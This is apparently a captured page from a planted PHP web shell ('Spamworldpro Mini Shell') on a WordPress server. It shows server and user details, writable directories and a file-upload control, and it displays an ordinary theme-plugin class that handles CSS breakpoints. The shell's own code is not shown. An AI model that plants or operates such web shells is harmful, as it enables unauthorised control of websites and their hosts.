Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/www/wp-content/plugins/the7-block-editor/Core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/www/wp-content/plugins/the7-block-editor/Core/CssMediaBreakpoints.php
<?php

namespace DtCr\Core;

use DtCr\Core\Settings;

defined( 'ABSPATH' ) || exit;

class CssMediaBreakpoints {
	// these names must be synchronized with names in Settings
	const BREAKPOINT_NAME_TABLET = 'tablet';
	const BREAKPOINT_NAME_MOBILE = 'mobile';
	const BREAKPOINT_NAME_CUSTOM = 'custom';
	const BREAKPOINT_NAME_OFF    = '';

	public static function getSwitchWidth( $breakpoint, $breakpoint_value = null ) {
		$user_defined_breakpoints = Settings::get_user_defined_breakpoints();

		if ( $breakpoint === self::BREAKPOINT_NAME_CUSTOM ) {
			return $breakpoint_value;
		}

		if ( isset( $user_defined_breakpoints[ $breakpoint ] ) ) {
			return $user_defined_breakpoints[ $breakpoint ]['value'] . $user_defined_breakpoints[ $breakpoint ]['unit'];
		}

		return null;
	}
}

Spamworldpro Mini